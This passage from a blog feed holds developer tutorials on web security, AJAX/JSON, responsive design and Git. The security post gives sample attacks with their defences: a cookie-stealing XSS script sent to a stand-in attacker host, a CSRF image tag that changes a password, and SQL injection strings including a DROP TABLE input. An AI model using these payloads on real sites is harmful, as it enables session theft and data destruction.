GMT</pubDate><content:encoded><![CDATA[<p>Since I've been a web engineer, I have come across the most common security problems a web application may fall into. In this post, I'd like to explore the main ones and how to prevent them. Security on the web depends on a variety of instruments, including an elemental concept of trust called the same-origin policy. This policy states that if content from one site is granted permission to access resources (like cookies etc.) on a browser, then a client side script will be able to access this content only on the same protocol, host, and port. If any one of these differs, then the script is prevented from accessing the external elements.</p><h3 id="escaping">Escaping</h3><p>Before we start, let's briefly explain the concept of escaping: in this context, escaping refers to removing or substituting characters from a potentially dangerous string of characters. Depending on the context, this can include prepending escape characters to quotes (<code>'</code> will become <code>\'</code>), replacing <code>&lt;</code> and <code>&gt;</code> signs with their HTML entities, <code>&amp;lt</code> and <code>&amp;gt</code>, and removing <code>&lt;script&gt;</code> tags.</p><h2 id="cross-site-scripting-xss-attack">Cross Site Scripting (XSS) attack</h2><p>In an XSS attack, a client-side script (for example a JavaScript) is injected into a web page, bypassing the same origin policy and occurs when malicious data is output from the trusted site. An XSS attack commonly steals cookies from the trusted site and then sends the data to the malicious site. The attacker needs to find a way to inject an unescaped client side script onto the page output.</p><p>Let's say that a shoddy web blog doesn't escape the user comments at the end of a blog post. Then, a malitious user would be able to input Javascript without it being filtered and escaped when the comment is displayed. If the user inputs the following: </p><pre><code class="language-JavaScript">&lt;script type='text/javascript'&gt;
	document.location = 'http://attackingsite.com/cookie_thief.php?cookies='+ document.cookie
&lt;/script&gt;</code></pre><p>Then, any user visiting the site will be sending their cookies to the attacking site without even noticing.</p><h3 id="how-to-prevent">How to prevent</h3><p>To prevent XSS we should escape any output data into which a user could inject malicious code. In PHP, HTML can be scaped from a string by using the function <code>htmlspecialchars</code>. So in this example, if our back end uses this function:</p><pre><code>&lt;?php

$comment = htmlspecialchars($_POST["comment"], ENT_QUOTES, "UTF-8" );

echo $comment;</code></pre><p>HTML output of this would be:</p><pre><code>&amp;lt;script type&amp;equals;&amp;apos;text&amp;sol;javascript&amp;apos;&amp;lt;
	document&amp;period;location &amp;equals; &amp;apos;http&amp;colon;&amp;sol;&amp;sol;attackingsite&amp;period;com&amp;sol;cookie_thief&amp;period;php&amp;quest;cookies&amp;equals;&amp;apos;&amp;plus; document&amp;period;cookie
&amp;lt;&amp;sol;script&amp;lt;</code></pre><p>And the string of characters displayed would then be:</p><pre><code>&lt;script type='text/javascript'&gt;
	document.location = 'http://attackingsite.com/cookie_thief.php?cookies='+ document.cookie
&lt;/script&gt;</code></pre><p>Harmlessly exposing the atacker's intentions.</p><p>We can also sanitize strings by using the PHP library <a href="http://htmlpurifier.org/">HTML Purifier</a>. If we use a framework like Laravel, this problem is already taken care of by blade, its templating system. Using <code>{{ $comment }}</code> should get rid of the problem</p><h2 id="cross-site-request-forgery-csrf-">Cross-Site Request Forgery (CSRF)</h2><p>In a CSRF attack, a user (the victim), authenticated into a trusted service, would unknowingly submit a request to the trusted service from a malicious website under the attacker's control. In order for this attack to work, the attacker must know a reproducible web request that executes a specific action (for example, changing the user's password) on the trusted service. Then, a link to make this request can be embedded on a website that is controlled by the attacker. If the victim is authenticated to the trusted service by a cookie stored in the browser, the HTTP request could be sent and cause the unwanted action.</p><p>Imagine that a user visits a website containing the following:</p><pre><code class="language-HTML">&lt;img src="http://myemail.com/passwordchange.php?newpassword=gotcha!"/&gt;</code></pre><p>If the user is authenticated on "myemail.com", instead of fetching an image, the request to change the password could go through.</p><h3 id="how-to-prevent-1">How to prevent</h3><p>The most common technique used to prevent CSRF is to generate and store a secret session token when the session ID is generated. This secret token is included  with every request sent to the server. When a request is sent, the system makes sure that the token is present and matches the recorded value. In a simple PHP, this could be implemented like this:</p><pre><code class="language-PHP">&lt;?php

session_start();
session_regenerate_id();
if (!isset($_SESSION['csrf_token']))
{
	$csrf_token = sha1( uniqid( rand(), true ) );
	$_SESSION['csrf_token'] = $csrf_token;
}
</code></pre><p>then, with every form, we should include the CSRF token as a hidden field:</p><pre><code class="language-PHP">&lt;form&gt;
	&lt;input type="hidden" name="csrf_token" value="&lt;?php echo $csrf_token; ?&gt;" /&gt;
    &lt;!-- ... --&gt;
&lt;/form&gt;</code></pre><p>When the form is submitted, we validate that the sent token matches the one stored:</p><pre><code class="language-PHP">&lt;?php

session_start();
if ($_POST['csrf_token'] != $_SESSION['csrf_token'])
{
	echo "Token not present or is not valid";
    exit(1);
}

//  token is valid, continue processing the request</code></pre><p></p><h2 id="sql-injection">SQL injection</h2><p>SQL injection may happen when input data is not escaped before being inserted into a database query. Let's see an example, if our code has a line like this:</p><pre><code class="language-PHP">&lt;?php

$sqlQuery = "SELECT * FROM users WHERE username = '{$_POST['username']}'";

</code></pre><p>If a malicious user can guess database table field named corresponding to form input, then injection can occur. For example, if we set the username field on the form to <code>petesmith' OR 1=1</code>, as the input is not being escaped, the result query string would result on:</p><p><code>SELECT * FROM users WHERE username = 'petesmith' OR 1=1;</code></p><p>As the expresion on the right of the <code>OR</code> is always true, this would expose the whole users table to the malicious user. An even worse attack would be to input <code>petersmith'; DROP TABLE users;</code>, which would result on:</p><p><code>SELECT * FROM users WHERE username = 'petesmith'; DROP TABLE users;</code></p><p>which would drop the whole users table.</p><!--kg-card-begin: html--><img src="https://imgs.xkcd.com/comics/exploits_of_a_mom.png">
<div>by <a href="https://xkcd.com/327/">xkcd</a></div><!--kg-card-end: html--><p></p><h3 id="how-to-prevent-2">How to prevent</h3><p>This kind of attack can be prevented  by using parameterized statements instead of embedding user input in the SQL statement.  In PHP, we can use PDO placeholders:</p><pre><code class="language-PHP">&lt;?php

$stmt = $pdo-&gt;prepare("SELECT * FROM users WHERE username = :user ");  
$stmt-&gt;bindParam(':user', $_POST['username']);
$stmt-&gt;execute();
</code></pre><p></p><h2 id="conclusion">Conclusion</h2><p>I hope this post helps the reader understand the three main web security pitfalls a web application may suffer if they are not prepared, including a tip on how to prevent them. From this we can conclude that <strong>prevention</strong> is the the way to fight them and filtering and <strong>not trusting input</strong> helps solving these issues.</p>]]></content:encoded></item><item><title><![CDATA[AJAX and JSON]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2><p>Ajax (AJAX) stands for Asynchronous JavaScript And XML request. It is a set of techniques using on the client side to create asynchronous requests to the server. With Ajax, web applications can send and retrieve data from a server without interfering with the display and behaviour of the existing</p>]]></description><link>https://samuelrebollo.com/ajax-and-json/</link><guid isPermaLink="false">5f22e6005296fd2b670b0045</guid><category><![CDATA[API]]></category><category><![CDATA[AJAX]]></category><category><![CDATA[JSON]]></category><category><![CDATA[PHP]]></category><category><![CDATA[JQuery]]></category><category><![CDATA[HTML]]></category><category><![CDATA[Web API]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Tue, 30 Jun 2015 17:12:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/08/Paper.Bloc.1-2.png" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><img src="https://samuelrebollo.com/content/images/2020/08/Paper.Bloc.1-2.png" alt="AJAX and JSON"><p>Ajax (AJAX) stands for Asynchronous JavaScript And XML request. It is a set of techniques using on the client side to create asynchronous requests to the server. With Ajax, web applications can send and retrieve data from a server without interfering with the display and behaviour of the existing page. Ajax allows web apps to change content without the need to reload the entire page. The X in AJAX stands for XML ,which used to be the dominant hierarchical data format. However, today JSON has taken over in popularity so nowadays we should talk about AJAJ request but for historical reasons they are still called Ajax.</p><h2 id="json">JSON</h2><p>JSON stands for JavaScript Object Notation. It is an open standard data interchange format, that uses human-readable text strings consisting in key-value pairs to store and transmit data. </p><p>Here is a basic example of what might be a JSON string:</p><pre><code>{
  "foreName": "John",
  "familyName": "Doe",
  "dateOfBirth": "1984-11-16"
}</code></pre><p>The official <a href="https://en.wikipedia.org/wiki/Media_type">i</a>nternet media type for JSON is <code>application/json</code> and files use the extension <code>.json</code></p><p>Even though these two items refer to. JavaScript in their names, both AJAX and JSON are language-independent. They were derived from JavaScript but may modern  programming languages include code to generate and/or parse JSON format data.</p><h2 id="performing-an-ajax-get-request">Performing an Ajax GET request</h2><p>Let's consider the following example:</p><p>A web page makes an Ajax request to asychronously search a user list. The page will show the matching records without reloading the whole page from the server.</p><h3 id="server-side">Server side</h3><p>Here's the server side file users.php that outputs a JSON string returning the filtered list of users:</p><pre><code class="language-PHP">&lt;?php

$dataArray = array(
  array(
    "forename" =&gt; "Anthony",
    "surname" =&gt; "Smith",
    "age" =&gt; 25,
    "nationality" =&gt; "British",
    "username" =&gt; "anthonys",
    "email" =&gt; "anthonys@sreb.com"
  ),
  array(
    "forename" =&gt; "Antonio",
    "surname" =&gt; "Ferrari",
    "age" =&gt; 37,
    "nationality" =&gt; "Italian",
    "username" =&gt; "aferrari",
    "email" =&gt; "aferrari@sreb.com"
  ),
  array(
    "forename" =&gt; "Antonio",
    "surname" =&gt; "Herrero",
    "age" =&gt; 22,
    "nationality" =&gt; "Spanish",
    "username" =&gt; "antoniohr",
    "email" =&gt; "antoniohr@sreb.com"
  ),
  array(
    "forename" =&gt; "Antoine",
    "surname" =&gt; "Forgeron",
    "age" =&gt; 53,
    "nationality" =&gt; "French",
    "username" =&gt; "antforgeron",
    "email" =&gt; "antforgeron@sreb.com"
  )
);

$searchData = array(
  "forename" =&gt; $_GET["forename"],
  "surname" =&gt; $_GET["surname"],
  "age" =&gt; $_GET["age"],
  "nationality" =&gt; $_GET["nationality"],
  "username" =&gt; $_GET["username"],
   "email" =&gt; $_GET["email"],  
);

$result = array_reduce($dataArray, 
  function($carry, $element) use ($searchData)
  {
    if ($element["forename"] == $searchData["forename"]
        || $element["surname"] == $searchData["surname"]
        || $element["age"] == $searchData["age"]
        || $element["nationality"] == $searchData["nationality"]
        || $element["username"] == $searchData["username"]
        || $element["email"] == $searchData["email"]
     )
     {
       array_push($carry, $element);
     }
     
     return $carry;
  },
  array());

echo(json_encode($result));</code></pre><p></p><h3 id="front-end">Front end</h3><p>And here's the HTML file that will show the search form: </p><pre><code class="language-HTML">&lt;!DOCTYPE html&gt;
&lt;html&gt;
  &lt;body&gt;
    &lt;h1&gt;User Search Form&lt;/h1&gt;
    &lt;form id="userSearch"&gt; 
      &lt;label&gt; First name:&lt;/label&gt;&lt;br&gt;
      &lt;input type="text" name="forename"&gt;&lt;br&gt;
      &lt;label&gt; Family name:&lt;/label&gt;&lt;br&gt;
      &lt;input type="text" name="surname"&gt;&lt;br&gt;
      &lt;label&gt; Age: &lt;/label&gt;&lt;br&gt;&lt;input type="text" name="age"&gt;&lt;br&gt;
      &lt;label&gt; Nationality:&lt;/label&gt;&lt;br&gt;
      &lt;select name="nationality"&gt;
      	&lt;option&gt;British&lt;/option&gt;
        &lt;option&gt;Italian&lt;/option&gt;
        &lt;option&gt;Spanish&lt;/option&gt;
        &lt;option&gt;French&lt;/option&gt;
      &lt;/select&gt;&lt;br&gt;
      &lt;label&gt; Username:&lt;/label&gt;&lt;br&gt;
      &lt;input type="text" name="username"&gt;&lt;br&gt;
      &lt;label&gt; Email:&lt;/label&gt;&lt;br&gt;
      &lt;input type="text" name="email"&gt;&lt;br&gt;
      &lt;input type="submit" value="Submit"&gt;
    &lt;/form&gt;

    &lt;h3&gt;Results&lt;/h3&gt;
    &lt;table id="usersTable"&gt;
    	&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Age&lt;/th&gt;&lt;th&gt;Nationality&lt;/th&gt;&lt;th&gt;Username&lt;/th&gt;&lt;th&gt;Email&lt;/th&gt;&lt;/tr&gt;
    &lt;/table&gt;
    
    &lt;script&gt;
    // JavaScript code to make the AJAX request
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre><p></p><h3 id="ajax-request">Ajax request</h3><p>Lastly, let's use jQuery to do the asynchronous call to the server and populate the results table.</p><pre><code class="language-JavaScript">$(document).ready(function(){
  $("#userSearch").submit(function(event){
  event.preventDefault();
  $.ajax(
    {
      url: "users.php",
      data: $("#userSearch").serialize(),
      success: function(response){
        $.each(data, function(index, obj) {
          $("#usersTable").append("&lt;tr&gt;&lt;td&gt;" + obj.forename + " " + obj.surname + "&lt;/td&gt;&lt;td&gt;" + obj.age + "&lt;/td&gt;&lt;td&gt;" + obj.nationality + "&lt;/td&gt;&lt;td&gt;" + obj.username + "&lt;/td&gt;&lt;td&gt;" + obj.email + "&lt;/td&gt;&lt;/tr&gt;");
    	});
      }
    });
  });
});</code></pre><h2 id="conclusion">Conclusion</h2><p>With this simple example, I have tried to laid the basics of what it is to make AJAX requests and use JSON format as output data, using PHP, JavaScript and JQuery. This is, of course a very simple educational example. A real case would retreive the data from a DB and would have the complexities of dealing with security issues.</p>]]></content:encoded></item><item><title><![CDATA[Responsive design]]></title><description><![CDATA[<p>When I started applying for web development roles, I was asked in an interview about responsive design. I didn't know the answer so the interviewer explained to me what it was. His explanation wasn't really very good. He picked up his phone and said, 'it is a development technique that</p>]]></description><link>https://samuelrebollo.com/responsive-design/</link><guid isPermaLink="false">5f1ae4515296fd2b670afddb</guid><category><![CDATA[responsive web design]]></category><category><![CDATA[css]]></category><category><![CDATA[bootstrap]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Sun, 24 May 2015 14:43:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/08/halacious-tZc3vjPCk-Q-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/08/halacious-tZc3vjPCk-Q-unsplash.jpg" alt="Responsive design"><p>When I started applying for web development roles, I was asked in an interview about responsive design. I didn't know the answer so the interviewer explained to me what it was. His explanation wasn't really very good. He picked up his phone and said, 'it is a development technique that allows us to design a web interface so you can see the website like this', he said while holding his phone horizontally 'as well as this', and then moved his phone vertically. I didn't completely undestand what he meant but I found the topic interesting. I have now been working on reponsive websites for several months and have a better idea of how it works.</p><h3 id="what-is-responsive-design">What is responsive design?</h3><p>Responsive web design is an approach a designer takes to create a web page that resizes itself depending on the type of device or screen size it is being seen through.  That could be a desktop computer monitor, a laptop or devices with small screens such as smartphones and tablets.</p><p>Responsive design has become an essential tool for anyone with a digital presence. With the growth of smartphones, tablets and other mobile computing devices, more people are using smaller-screens to view web pages.</p><p>Let’s take a traditional “unresponsive” website.  When viewed on a desktop computer, for instance, the website might show three columns. But if you view that same layout on a smaller tablet, it might force you to scroll horizontally. When viewed from a smartphone, the website will probably be slow to load and much more difficult to read. Some elements might be hidden from view or distorted.</p><p>However, if a site uses responsive design, the tablet version may automatically adjust to display just two columns. That way, the content is readable and easy to navigate on the tablet. On a smartphone, the content might appear as a single column, perhaps stacked vertically.  Images will resize instead of distorting the layout or getting cut off.</p><p>The point is: with responsive design, the website automatically adjusts based on the size of the screensize of the device the viewer sees it in.</p><h3 id="responsive-design-with-twitter-bootstrap">Responsive design with Twitter Bootstrap</h3><p>Bootstrap is a free and open-source front-end framework with a giant collection of handy, reusable bits of code written in HTML, CSS and Javascript, that enables developers and designers to quickly build fully responsive websites.</p><p>Bootstrap includes a responsive fluid grid system that appropriately scales up to 12 columns as the screen size increases. All page elements are sized by proportion, rather than pixels. The bootstrap <em>Grid</em> is used to define the width that each html component takes up on the page. Content elements can occupy at the least one column and at most 12.</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/07/bootstrapgrid-1.png" class="kg-image" alt="Responsive design" width="1772" height="598" srcset="https://samuelrebollo.com/content/images/size/w600/2020/07/bootstrapgrid-1.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/07/bootstrapgrid-1.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/07/bootstrapgrid-1.png 1600w, https://samuelrebollo.com/content/images/2020/07/bootstrapgrid-1.png 1772w" sizes="(min-width: 720px) 720px"></figure><p>To achieve this, bootstrap makes use of the following class names to specify the size of the content element:</p><p> <code>.col-screensize-columnsize</code></p><p>For example <strong>col-md-4 </strong>stands for a column that scales down to medium screen that takes up 4 columns. </p><pre><code class="language-html">&lt;div class="row"&gt;
	&lt;div class="col-md-4"&gt;this width is 1/3 of the screen size&lt;/div&gt;
	&lt;div class="col-md-8"&gt;this width is 2/3 of the screen size&lt;/div&gt;
&lt;/div&gt;</code></pre><p>These two columns will stack on smaller (mobile) and become 100% width.</p><h3 id="screen-sizes">Screen Sizes</h3><p>Screen sizes in bootstrap are defined by a range of width sizes in the following image:</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/07/screensizes.png" class="kg-image" alt="Responsive design" width="1426" height="686" srcset="https://samuelrebollo.com/content/images/size/w600/2020/07/screensizes.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/07/screensizes.png 1000w, https://samuelrebollo.com/content/images/2020/07/screensizes.png 1426w" sizes="(min-width: 720px) 720px"></figure><h3 id="the-media-queries">The Media Queries</h3><p>This behaviour is achieved through <a href="https://en.wikipedia.org/wiki/Media_queries">media queries</a>, a feature of <a href="https://en.wikipedia.org/wiki/Cascading_Style_Sheets#CSS_3">CSS3</a> that allows content rendering to adapt to different screen resolutions. The media queries used in Bootstrap are listed below. Each one goes in and changes the size of the columns to reflow the layout.</p><ul><li>@media (max-width: 480px)</li><li>@media (max-width: 768px)</li><li>@media (min-width: 768px) and (max-width: 980px)</li><li>@media (max-width: 980px)</li><li>@media (min-width: 980px)</li><li>@media (min-width: 1200px)</li></ul><h3 id="conclusion">Conclusion</h3><p>Hopefully this overview of responsive web design and the Bootstrap framework has been useful. This is hardly scratching the surface of what Bootstrap is capable of. The web is full of tutorials on how to get started, starting by their documentation.</p>]]></content:encoded></item><item><title><![CDATA[Discovering Git]]></title><description><![CDATA[<p>I studied a general Computer Science degree which focused mainly on Software. During my studies I had to do a number of individual as well as group assignments. I remember a particular one on web software development —which happens to be my current area of work. We had to develop</p>]]></description><link>https://samuelrebollo.com/discovering-git/</link><guid isPermaLink="false">5ef656135296fd2b670afd4a</guid><category><![CDATA[git]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Mon, 23 Feb 2015 18:47:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/08/yancy-min-842ofHC6MaI-unsplash.png" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/08/yancy-min-842ofHC6MaI-unsplash.png" alt="Discovering Git"><p>I studied a general Computer Science degree which focused mainly on Software. During my studies I had to do a number of individual as well as group assignments. I remember a particular one on web software development —which happens to be my current area of work. We had to develop this project in a team of 5 peers. As it had to be mainly developed over the Christmas break, we divided our work and each of us developed one part. Then we did a manual merge of our work. At the time presentation we set up an IIS server and loaded our project to be defended. This was the winter period of 2008-2009.</p><p>After having worked for barely a month as a professional web engineer I can only now realise how rudimentary our process was. Our code changes weren’t controlled or logged in any way, our individual work could not be tracked and our deployment process consisted on copying over ftp our code files. We could have destroyed our mates’ work by overriding their files! (Something that in fact did happen).</p><p>I believe it is almost a crime, to have studied software engineering in University and not having been taught the essentials of version control —especially important when you work with a team— and a decent approach to deployment. Deployment by copying code through ftp would have probably been enough for the educational purpose of the project but only with decent collaboration strategy such as using <a href="https://en.wikipedia.org/wiki/Git">git</a> for version control.</p><h3 id="what-is-git">What is git?</h3><p>Git is a version control system for code. It is responsible for the management of changes to files. Changes are usually identified by a code string, referred to as "revision". Each revision is associated with a timestamp  and the person making the change. Revisions can be compared and merged. It allows for more than one versions of the software to be developed concurrently allowing this through the creation of <a href="https://en.wikipedia.org/wiki/Branching_(revision_control)">branches</a>.</p><h3 id="structure">Structure</h3><p>Revisions are generally thought of as a line of development (in git, called <em>master</em> by default) with branches off of this, which may vary depending on the development and deployment strategy. For example, a project may have a development branch, used by the developers to create new features, those features, once developed, are merged into a “test” branch and deployed to a testing environment where the new feature is tested. Lastly once the tests are done, this testing branch is merged into the main branch, called “master” and lastly released as a new version of the software.</p><h3 id="local-and-remote-repositories">Local and remote repositories</h3><p>A repository encompasses the entire collection of files and folders associated with a project, along with each file’s revision history. The file history appears as snapshots in time called <em>commits</em>.</p><p>Git is a distributed system. As such, it gives each developer a local copy of the full development history, and changes are copied from a local repository to a remote central one. The other developers can <em>pull</em> those changes from the remote to their local repositories and <em>merge</em> them with their own work. Already existing repositories can be <em>cloned</em> and shared to be used by others as a new centralized repo.</p><p>Git can be installed in a private server and be used by others  to create centralized repositories or a “GIT as a service” platform can be used as <a href="https://github.com/">GitHub</a>, <a href="https://bitbucket.org/">Bitbucket</a> or <a href="https://gitlab.com">GitLab</a>.</p><h3 id="basic-git-commands">Basic Git commands</h3><p>To use Git, developers use specific commands to copy, create, change, and combine code. These commands can be executed directly from the command line or by using a git GUI such as GitHub Desktop, Sourcetree or TortoiseGit. Here are some common commands for using Git:</p><ul><li><code>git init</code> initializes a brand new Git repository and begins tracking an existing directory. It adds a hidden subfolder within the existing directory that houses the internal data structure required for version control.</li><li><code>git clone</code> creates a local copy of a project that already exists remotely. The clone includes all the files, history, and branches.</li><li><code>git add</code> stages a change. This command performs staging, the first part of the two-step process of updating a repository. Any changes that are staged will become a part of the next commit and a part of the project’s history.</li><li><code>git commit</code> saves the snapshot to the project history and completes the change-tracking process. A commit is like taking a photo. Anything that’s been staged with git add will become a part of the snapshot with git commit.</li><li><code>git status</code> shows the status of changes as untracked, modified, or staged.</li><li><code>git branch</code> shows the branches being worked on locally.</li><li><code>git merge</code> merges lines of development together. This command is typically used to combine changes made on two differe t branches. </li><li><code>git pull</code> updates the local line of development with updates from its remote counterpart. Developers use this command if a team mate has made commits to a branch on a remote, and they would like to reflect those changes in their local environment.</li><li><code>git push</code> updates the remote repository with any commits made locally to a branch. <br>To learn more, find <a href="https://git-scm.com/docs">here</a> a full reference guide to Git commands.</li></ul><h3 id="example-set-up-a-privately-hosted-bare-git-repository">Example : Set-up a privately-hosted bare Git repository</h3><p>Assumption: You have ssh access to a remote server with Git installed on it.</p><p>1.	Setup the server repository. In the server, navigate to your desired location and create your git folder:</p><pre><code>git init --bare my-project.git</code></pre><p>2.	Use your newly created remote repository. Back on your local computer, and your local project folder, initialise the project and change the remote url:</p><pre><code>git init
git remote set-url origin git@yourserver:/path/to/my-project.git</code></pre><p>3.	Now you can create the first files of the project, for example, create a new index.html and style.css files. After creating files, let's check the status of the repository:</p><pre><code>git status</code></pre><p>As we expected, we get:</p><pre><code class="language-terminal">On branch master
Initial commit

Changes to be committed:
(use "git rm --cached ..." to unstage)

  new file: index.html
  new file: style.css</code></pre><p>4.	Let's stage them with</p><pre><code>git add index.html style.css</code></pre><p>5.	Take a snapshot of the staging area:</p><pre><code>git commit -m “add index and style files"</code></pre><p>6.	Push changes to remote:</p><pre><code>git push</code></pre><p>So with this, we’ve created our first git repository and pushed our first commit. I recommend finding some time to work with a small team and test pulling new changes and merging files.</p>]]></content:encoded></item></channel></rss>